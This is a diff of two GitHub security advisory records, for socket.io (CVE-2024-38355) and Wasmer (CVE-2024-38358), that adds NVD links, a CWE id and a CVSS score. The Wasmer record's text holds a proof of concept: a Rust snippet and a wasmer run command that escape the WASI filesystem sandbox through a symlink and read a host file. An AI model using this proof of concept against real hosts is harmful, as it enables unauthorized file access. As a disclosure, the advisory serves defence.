Publish Advisories

GHSA-25hc-qcg6-38wj
GHSA-55f3-3qvg-8pv5

advisories/github-reviewed/2024/06/GHSA-25hc-qcg6-38wj/GHSA-25hc-qcg6-38wj.json

@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-25hc-qcg6-38wj",
-  "modified": "2024-06-19T18:38:19Z",
+  "modified": "2024-06-20T14:14:51Z",
   "published": "2024-06-19T15:04:41Z",
   "aliases": [
     "CVE-2024-38355"
@@ -66,6 +66,10 @@
       "type": "WEB",
       "url": "https://github.com/socketio/socket.io/security/advisories/GHSA-25hc-qcg6-38wj"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38355"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115"
@@ -81,11 +85,12 @@
   ],
   "database_specific": {
     "cwe_ids": [
+      "CWE-20",
       "CWE-754"
     ],
     "severity": "HIGH",
     "github_reviewed": true,
     "github_reviewed_at": "2024-06-19T15:04:41Z",
-    "nvd_published_at": null
+    "nvd_published_at": "2024-06-19T20:15:11Z"
   }
 }

advisories/github-reviewed/2024/06/GHSA-55f3-3qvg-8pv5/GHSA-55f3-3qvg-8pv5.json

@@ -1,7 +1,7 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-55f3-3qvg-8pv5",
-  "modified": "2024-06-19T18:38:48Z",
+  "modified": "2024-06-20T14:14:38Z",
   "published": "2024-06-07T19:40:00Z",
   "aliases": [
     "CVE-2024-38358"
@@ -9,7 +9,10 @@
   "summary": "Symlink bypasses filesystem sandbox",
   "details": "### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n",
   "severity": [
-
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
+    }
   ],
   "affected": [
     {
@@ -37,6 +40,10 @@
       "type": "WEB",
       "url": "https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38358"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662"
@@ -53,6 +60,6 @@
     "severity": "LOW",
     "github_reviewed": true,
     "github_reviewed_at": "2024-06-07T19:40:00Z",
-    "nvd_published_at": null
+    "nvd_published_at": "2024-06-19T20:15:11Z"
   }
 }